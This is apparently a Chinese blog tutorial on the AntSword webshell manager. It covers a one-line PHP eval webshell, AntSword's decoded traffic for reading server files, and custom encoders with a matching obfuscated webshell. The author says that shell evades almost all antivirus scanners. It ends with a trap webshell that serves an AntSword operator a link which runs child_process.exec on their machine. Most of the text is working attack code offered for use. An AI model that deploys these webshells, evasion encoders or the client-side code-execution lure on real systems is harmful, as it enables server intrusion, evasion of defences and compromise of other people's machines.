所需工具
- 蚁剑
- burp suite
- phpstudy
环境准备
蚁剑一般的工作流程就是先上传一句话,然后连接.
先在phpstudy/WWW
建立一个backdoor.php
,内容就是一句话:
(注意:如果有杀毒软件要将backdoor.php
添加到信任区,否则会被当成木马自动删除)
<?php @eval($_POST['flag']);?>
然后用蚁剑连接:
如何使用burp suite 抓蚁剑的数据包:
(设置完记得点保存)
数据包
连接目标的数据包
以POST方式提交了一个参数:flag
参数flag
的URL解码:
@ini_set("display_errors", "0"); //不显示错误报告
@set_time_limit(0); //设置允许脚本运行没有时间方面的限制
$opdir=@ini_get("open_basedir"); //获取 open_basedir,可能不止一个,用;分割
//如果有 open_basedir 的限制,利用chdir()读取根目录
if($opdir) {
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]); //获取当前执行程序的绝对路径
$oparr=preg_split("/;|:/",$opdir); //分割 open_basedir
@array_push($oparr,$ocwd,sys_get_temp_dir()); //返回用于临时文件的目录
foreach($oparr as $item) {
if(!@is_writable($item)){
continue; //如果该目录不可写则跳过
};
$tmdir=$item."/.65ec1f";
@mkdir($tmdir);
if(!@file_exists($tmdir)){
continue; //如果该目录不存在则跳过
}
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\\\|\//",$tmdir);
for($i=0;$i<sizeof($cntarr);$i++){
@chdir("..");
};
@ini_set("open_basedir","/");
@rmdir($tmdir);
break;
};
};
function asenc($out){
return $out;
};
function asoutput(){
$output=ob_get_contents(); //返回输出缓冲区的内容
ob_end_clean(); //清理(擦除)缓冲区并关闭输出缓冲
//输出缓冲区的内容,并且在头尾拼接上随机的字符串
echo "5c4"."ad3";
echo @asenc($output);
echo "730"."331";
}
ob_start(); //打开缓冲区
try{
$D=dirname($_SERVER["SCRIPT_FILENAME"]); //获取当前脚本所在目录
if($D=="")
$D=dirname($_SERVER["PATH_TRANSLATED"]); //获取当前脚本所在文件系统(非文档根目录)的基本路径
$R="{$D} ";
if(substr($D,0,1)!="/"){
//如果是Windows系统,获取盘符
foreach(range("C","Z")as $L){
if(is_dir("{$L}:"))
$R.="{$L}:";
}
}else{
//如果是Linux系统,获取 /
$R.="/";
}
$R.=" ";
//获取一些系统和用户信息
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.=" {$s}";
echo $R;
}
catch(Exception $e){
echo "ERROR://".$e->getMessage();
};
asoutput();
die();
分析
emm,说实话没看懂这个数据包要做什么,作用不大
获取文件内容的数据包
我这里要读取的文件就是backdoor.php
,编码器和解码器都是default
以POST方式发送了两个参数:flag
和rfab139493c9ae
参数flag
内容的URL解码:(基本和上面的差不多,相同的就不分析了)
@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split("/;|:/",$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)){
continue;
};
$tmdir=$item."/.e270821f50";
@mkdir($tmdir);
if(!@file_exists($tmdir)){
continue;
}
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\\\|\//",$tmdir);
for($i=0;$i<sizeof($cntarr);$i++){
@chdir("..");
};
@ini_set("open_basedir","/");
@rmdir($tmdir);
break;
};
};
function asenc($out){
return $out;
};
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "e57"."d520";
echo @asenc($output);
echo "78a"."592a";
}
ob_start();
try{
//对参数rfab139493c9ae 先进行裁剪,然后再base64解码
$F=base64_decode(substr($_POST["rfab139493c9ae"],2));
$P=@fopen($F,"r");
//读取并输出文件的内容
echo(@fread($P,filesize($F)?filesize($F):4096));
@fclose($P);
};
catch(Exception $e){
echo "ERROR://".$e->getMessage();
};
asoutput();
die();
参数rfab139493c9ae
内容不是简单的base64编码,需要做一些变化:
$F=base64_decode(substr($_POST["rfab139493c9ae"],2));
//rfab139493c9ae = 2WRDovcGhwc3R1ZHlfcHJvL1dXVy9iYWNrZG9vci5waHA=
//裁剪 再 base64解码 的结果:D:/phpstudy_pro/WWW/backdoor.php
分析
要读文件内容时数据包发送了两个 POST参数,分别是flag
和rfab139493c9ae
。
flag
决定如何读取并返回文件内容;rfab139493c9ae
决定要读取的是哪个文件 ,并且该参数的值经过了编码,不容易被waf检测
编码器
编码器的作用是对要发送的数据进行编码。
一般网站都有waf,上传了后门但是使用蚁剑发送数据包进行连接的时候也有可能被waf检测到,使用编码器可以减少这种情况
蚁剑自带的编码器
base64编码器
连接目标的数据包
数据包中有两个参数:flag
和g6fa710b7e656
。其中g6fa710b7e656
的内容经过了base64编码,但是flag
的内容只经过了URL编码。
base64编码器的思路很简单:就是将要执行的php代码进行base64编码,赋值给一个随机的参数,然后再通过flag
参数进行base64解码
- 其他的编码器就不一一介绍了
自定义编码器
先放自定义编码器的模板:
/**
* php::base64编码器
* Create at: 2020/11/21 15:21:10
*/
'use strict';
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你自己的代码 ###################
// 以下代码为 PHP Base64 样例
// 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
// 原有的 payload 在 data['_']中
// 取出来之后,转为 base64 编码并放入 randomID key 下
data[randomID] = Buffer.from(data['_']).toString('base64');
// shell 在接收到 payload 后,先处理 pwd 参数下的内容,
data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;
// ########## 请在上方编写你自己的代码 ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}
直接使用base64编码也不够安全,自己简单写一个:
/**
* php::base64编码器
* Create at: 2020/11/21 15:21:10
*/
'use strict';
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你自己的代码 ###################
// 原有的 payload 在 data['_']中
// 取出来之后,转为 base64 编码,在首尾添加特定字符串,放入 randomID key 下
data[pwd] = Buffer.from(data['_']).toString('base64');
data[pwd] = "PD8gZXhpdCgpOz8" + data[pwd];
data[pwd] = data[pwd] + "PD8gZXhpdCgpOz8";
// ########## 请在上方编写你自己的代码 ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}
对应的webshell:
<?php
$a = $_POST['flag'];
$b = str_replace('PD8gZXhpdCgpOz8','',$a);
@eval(base64_decode($b));
?>
用VirusTotal
扫了一下,效果还是很好的,几乎免杀全网
抓一下包:
发现不是所有参数都按照自定义编码器来编码的,flag
的值跟我预想的编码方式一样,但是mb8611ec5d9219
的值没有安装我的自定义编码器来编码,它的解码方式是去掉前两个字符,然后进行base64解码:
# 原字符串:
XxRDovcGhwc3R1ZHlfcHJvL1dXVy9iYWNrZG9vci5waHA%3D
# 去掉前两个字符,url解码:
RDovcGhwc3R1ZHlfcHJvL1dXVy9iYWNrZG9vci5waHA=
# base64解码
D:/phpstudy_pro/WWW/backdoor.php
这种方法是蚁剑默认的,很容易被waf检测,这就需要更改flag
之外参数的编码方式
方法参考:https://xz.aliyun.com/t/5756
解码器
解码器的作用是对要返回的数据进行编码,这样可以防止waf对返回包的检测
蚁剑自带的解码器
1.default
返回的数据没有经过任何处理:
2.base64
返回的数据进行了base64编码,然后在首尾加上了随机的字符串:
3.rot13
返回的数据进行了rot13编码,然后在首尾加上了随机的字符串:
自定义解码器
先放自定义编码器的模板:
/**
* php::base64解码器
* Create at: 2020/05/22 10:21:48
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc 将返回数据base64编码
* 自定义输出函数名称必须为 asenc
* 该函数使用的语法需要和shell保持一致
*/
asoutput: () => {
return `function asenc($out){
return @base64_encode($out);
}
`.replace(/\n\s+/g, '');
},
/**
* 解码 Buffer
* @param {string} data 要被解码的 Buffer
* @returns {string} 解码后的 Buffer
*/
decode_buff: (data, ext={}) => {
return Buffer.from(data.toString(), 'base64');
}
}
通过模板可以看出,前面我们在数据包中见到的asoutput()
就来自解码器。
蚁剑自带的base64啥的解码器完全够用,感兴趣的小伙伴可以自己写一个
蚁剑反制(使用蚁剑钓鱼)
参考文章:https://mp.weixin.qq.com/s/WNv9nPWvKudwimtYTd1zDQ ,我在其基础上增加了密码功能
别人连接我们的webshell.php时,如果打开了虚拟终端,并且点击了我们构造的恶意链接,就能rce
webshell.php:(编码和解码方式都为default)
使用前将//eval($_POST["$input"]);
注释去掉
<?php
//钓鱼内容
echo "webshell:<br>";
echo '@eval($_POST["test"]);'."<br><br>";
echo "Antsword_return:<br>";
//判断POST数组中最长的元素
function get_max_val($arr)
{
$key = 0;
foreach ($arr as $k => $v){
if(strlen($v) > strlen($arr[$key])){
$key = $k;
}
}
return $arr[$key];
}
//获取原始post数据
$post=file_get_contents("php://input");
//对post数据进行urldecode,赋值给 $A
$A=urldecode($post);
//获取用户的连接密码
$post_arr=explode("&", $post);
$input=explode("=", get_max_val($post_arr))[0];
//设置正确密码
$password="123456";
//如果密码正确则进行正常连接
if ($input==$password) {
//使用前将下面注释去掉
//eval($_POST["$input"]);
}else{
$iscmd="%(.*)127;%si";
//如果是虚拟终端命令执行数据包
if (preg_match($iscmd,$A,$B)!=0) {
$ze="%echo ([^<]*?).\"([^<]*?);echo @asenc%";
preg_match($ze,$A,$B);
$c="$B[0]";
$key= str_replace(['"', '.', 'echo', ' ', ";",'@asenc'], "", $c);
$payload='http://127.0.0.1/index.html'; //远程加载js的页面
sleep('2');
echo "$key".'ret=405'."\n"."ERROR: "."$payload";
}
//如果是其他数据包
else {
$ze="%echo ([^<]*?).\"([^<]*?);echo @asenc%";
preg_match($ze,$A,$B);
$c="$B[0]";
$key= str_replace(['"', '.', 'echo', ' ', ";",'@asenc'], "", $c);
//$txt='D:/phpstudy_pro/WWW'."\t".'C:D:E:F:'."\t".'Windows NT LAPTOP-46FFII5G 6.2 build 9200 (Windows 8 Business Edition) i586'."\t".'administrator';
$txt='/data/wwwroot/xiyu/upload/202106 / Linux iz2ze3hmk5mxzckai1yks6z 3.10.0-693.21.1.el7.x86_64 #1 SMP Wed Mar 7 19:03:37 UTC 2018 x86_64 root';
sleep('2');
echo "$key"."$txt";
}
}
?>
index.html:
<script type="text/javascript">
require('child_process').exec('calc');
</script>
使用方法:
在phpstudy目录上创建webshell.php和index.html两个文件,然后用蚁剑链接,密码为123(随便一个错误的连接密码),编码和解码器都为default:
保存后连接,打开虚拟终端:
点击连接:
如果想要正确连接webshell.php,需要使用正确的连接密码:123456(可以在webshell.php里面更改)
已经能正常使用了
参考连接
https://mp.weixin.qq.com/s/WNv9nPWvKudwimtYTd1zDQ